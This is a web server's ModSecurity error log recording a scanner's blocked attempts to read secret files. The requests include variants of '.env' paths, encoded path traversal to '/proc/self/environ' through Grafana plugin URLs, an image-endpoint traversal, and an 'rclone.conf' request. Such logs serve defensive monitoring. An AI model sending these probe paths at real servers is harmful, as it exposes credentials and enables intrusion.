[Sun Oct 25 15:18:11.947820 2026] [security2:error] [pid 2887595:tid 2887595] [client 34.95.254.114:60732] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at5V80EcNhfmEEfjyh7vngAAACI"]
[Sun Oct 25 15:18:11.948260 2026] [security2:error] [pid 2887595:tid 2887595] [client 34.95.254.114:60732] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at5V80EcNhfmEEfjyh7vngAAACI"]
[Sun Oct 25 15:18:11.857142 2026] [security2:error] [pid 2887571:tid 2887571] [client 34.95.254.114:60676] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at5V87quaiXZVBY6UkKgqwAAAA4"]
[Sun Oct 25 15:18:11.976370 2026] [security2:error] [pid 2887571:tid 2887571] [client 34.95.254.114:60676] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at5V87quaiXZVBY6UkKgqwAAAA4"]
[Sun Oct 25 15:18:12.250765 2026] [security2:error] [pid 2887595:tid 2887595] [client 34.95.254.114:60732] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development::$data"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.development::$DATA"] [unique_id "at5V9EEcNhfmEEfjyh7vnwAAACI"]
[Sun Oct 25 15:18:12.251188 2026] [security2:error] [pid 2887595:tid 2887595] [client 34.95.254.114:60732] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.development::$DATA"] [unique_id "at5V9EEcNhfmEEfjyh7vnwAAACI"]
[Sun Oct 25 15:18:12.251491 2026] [security2:error] [pid 2887595:tid 2887595] [client 34.95.254.114:60732] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.development::$DATA"] [unique_id "at5V9EEcNhfmEEfjyh7vnwAAACI"]
[Sun Oct 25 15:18:12.271000 2026] [security2:error] [pid 2887596:tid 2887596] [client 34.95.254.114:60832] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at5V9OiJA1fzv0ndEdTr6wAAACM"]
[Sun Oct 25 15:18:12.271515 2026] [security2:error] [pid 2887596:tid 2887596] [client 34.95.254.114:60832] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at5V9OiJA1fzv0ndEdTr6wAAACM"]
[Sun Oct 25 15:18:12.271793 2026] [security2:error] [pid 2887596:tid 2887596] [client 34.95.254.114:60832] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at5V9OiJA1fzv0ndEdTr6wAAACM"]
[Sun Oct 25 15:18:12.272841 2026] [security2:error] [pid 2882191:tid 2882191] [client 34.95.254.114:60966] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env::$data"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env::$DATA"] [unique_id "at5V9JYw3jZlk1xcjz4TSAAAADA"]
[Sun Oct 25 15:18:12.273144 2026] [security2:error] [pid 2882191:tid 2882191] [client 34.95.254.114:60966] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env::$DATA"] [unique_id "at5V9JYw3jZlk1xcjz4TSAAAADA"]
[Sun Oct 25 15:18:12.273379 2026] [security2:error] [pid 2882191:tid 2882191] [client 34.95.254.114:60966] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env::$DATA"] [unique_id "at5V9JYw3jZlk1xcjz4TSAAAADA"]
[Sun Oct 25 15:18:12.274873 2026] [security2:error] [pid 2885694:tid 2885694] [client 34.95.254.114:60542] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production::$data"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.production::$DATA"] [unique_id "at5V9ONFKka2-rJ01WB_BAAAAAk"]
[Sun Oct 25 15:18:12.275190 2026] [security2:error] [pid 2885694:tid 2885694] [client 34.95.254.114:60542] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.production::$DATA"] [unique_id "at5V9ONFKka2-rJ01WB_BAAAAAk"]
[Sun Oct 25 15:18:12.275448 2026] [security2:error] [pid 2885694:tid 2885694] [client 34.95.254.114:60542] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.production::$DATA"] [unique_id "at5V9ONFKka2-rJ01WB_BAAAAAk"]
[Sun Oct 25 15:18:12.276018 2026] [security2:error] [pid 2887588:tid 2887588] [client 34.95.254.114:60712] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/root/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/@fs/root/.env"] [unique_id "at5V9CKKYgNzbRNd-8H8zwAAABk"]
[Sun Oct 25 15:18:12.276313 2026] [security2:error] [pid 2887588:tid 2887588] [client 34.95.254.114:60712] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/@fs/root/.env"] [unique_id "at5V9CKKYgNzbRNd-8H8zwAAABk"]
[Sun Oct 25 15:18:12.276550 2026] [security2:error] [pid 2887588:tid 2887588] [client 34.95.254.114:60712] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/@fs/root/.env"] [unique_id "at5V9CKKYgNzbRNd-8H8zwAAABk"]
[Sun Oct 25 15:18:12.277235 2026] [security2:error] [pid 2887608:tid 2887608] [client 34.95.254.114:60896] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local::$data"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.local::$DATA"] [unique_id "at5V9ENgGhNT1R9I9L_-IQAAADE"]
[Sun Oct 25 15:18:12.277617 2026] [security2:error] [pid 2887608:tid 2887608] [client 34.95.254.114:60896] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.local::$DATA"] [unique_id "at5V9ENgGhNT1R9I9L_-IQAAADE"]
[Sun Oct 25 15:18:12.277877 2026] [security2:error] [pid 2887608:tid 2887608] [client 34.95.254.114:60896] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.local::$DATA"] [unique_id "at5V9ENgGhNT1R9I9L_-IQAAADE"]
[Sun Oct 25 15:18:12.279141 2026] [core:error] [pid 2887571:tid 2887571] [client 34.95.254.114:60676] AH10244: invalid URI path (/%2e%2e/%2e%2e/%2e%2e/%2e%2e/.env)
[Sun Oct 25 15:18:12.279180 2026] [core:error] [pid 2887609:tid 2887609] [client 34.95.254.114:60936] AH10244: invalid URI path (/%2e%2e/%2e%2e/%2e%2e/%2e%2e/proc/self/environ)
[Sun Oct 25 15:18:12.281118 2026] [security2:error] [pid 2887592:tid 2887592] [client 34.95.254.114:60922] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at5V9GosA4aMF_N5SapqDAAAACA"]
[Sun Oct 25 15:18:12.281421 2026] [security2:error] [pid 2887592:tid 2887592] [client 34.95.254.114:60922] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at5V9GosA4aMF_N5SapqDAAAACA"]
[Sun Oct 25 15:18:12.281667 2026] [security2:error] [pid 2887592:tid 2887592] [client 34.95.254.114:60922] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at5V9GosA4aMF_N5SapqDAAAACA"]
[Sun Oct 25 15:18:12.624173 2026] [core:error] [pid 2887605:tid 2887605] [client 34.95.254.114:60890] AH10244: invalid URI path (/public/plugins/grafana-clock-panel/../../../../../../../../proc/self/environ)
[Sun Oct 25 15:18:12.624634 2026] [security2:error] [pid 2887598:tid 2887598] [client 34.95.254.114:60826] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /_image?href=/../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/_image"] [unique_id "at5V9OzMmhRmOL7WSQVFTAAAACU"]
[Sun Oct 25 15:18:12.624713 2026] [security2:error] [pid 2887598:tid 2887598] [client 34.95.254.114:60826] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /_image?href=/../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/_image"] [unique_id "at5V9OzMmhRmOL7WSQVFTAAAACU"]
[Sun Oct 25 15:18:12.624744 2026] [security2:error] [pid 2887598:tid 2887598] [client 34.95.254.114:60826] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /_image?href=/../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/_image"] [unique_id "at5V9OzMmhRmOL7WSQVFTAAAACU"]
[Sun Oct 25 15:18:12.625261 2026] [security2:error] [pid 2887598:tid 2887598] [client 34.95.254.114:60826] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/_image"] [unique_id "at5V9OzMmhRmOL7WSQVFTAAAACU"]
[Sun Oct 25 15:18:12.625538 2026] [security2:error] [pid 2887598:tid 2887598] [client 34.95.254.114:60826] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Path Traversal Attack (/../)"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/_image"] [unique_id "at5V9OzMmhRmOL7WSQVFTAAAACU"]
[Sun Oct 25 15:18:12.629977 2026] [core:error] [pid 2887608:tid 2887608] [client 34.95.254.114:60896] AH10244: invalid URI path (/public/plugins/alertlist/../../../../../../../../proc/self/environ)
[Sun Oct 25 15:18:13.188385 2026] [security2:error] [pid 2887595:tid 2887595] [client 34.95.254.114:60732] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /services/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/services/.env"] [unique_id "at5V9UEcNhfmEEfjyh7voAAAACI"]
[Sun Oct 25 15:18:13.229286 2026] [security2:error] [pid 2887595:tid 2887595] [client 34.95.254.114:60732] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/services/.env"] [unique_id "at5V9UEcNhfmEEfjyh7voAAAACI"]
[Sun Oct 25 15:18:13.200737 2026] [security2:error] [pid 2887596:tid 2887596] [client 34.95.254.114:60832] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /client/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/client/.env"] [unique_id "at5V9eiJA1fzv0ndEdTr7AAAACM"]
[Sun Oct 25 15:18:13.249744 2026] [security2:error] [pid 2887596:tid 2887596] [client 34.95.254.114:60832] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/client/.env"] [unique_id "at5V9eiJA1fzv0ndEdTr7AAAACM"]
[Sun Oct 25 15:18:13.249987 2026] [security2:error] [pid 2887596:tid 2887596] [client 34.95.254.114:60832] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/client/.env"] [unique_id "at5V9eiJA1fzv0ndEdTr7AAAACM"]
[Sun Oct 25 15:18:13.249404 2026] [security2:error] [pid 2887595:tid 2887595] [client 34.95.254.114:60732] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/services/.env"] [unique_id "at5V9UEcNhfmEEfjyh7voAAAACI"]
[Sun Oct 25 15:18:13.462856 2026] [core:error] [pid 2887592:tid 2887592] [client 34.95.254.114:60922] AH10244: invalid URI path (/public/plugins/text/../../../../../../../../proc/self/environ)
[Sun Oct 25 15:18:13.464991 2026] [security2:error] [pid 2887588:tid 2887588] [client 34.95.254.114:60712] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/rclone.conf"] [unique_id "at5V9SKKYgNzbRNd-8H80QAAABk"]
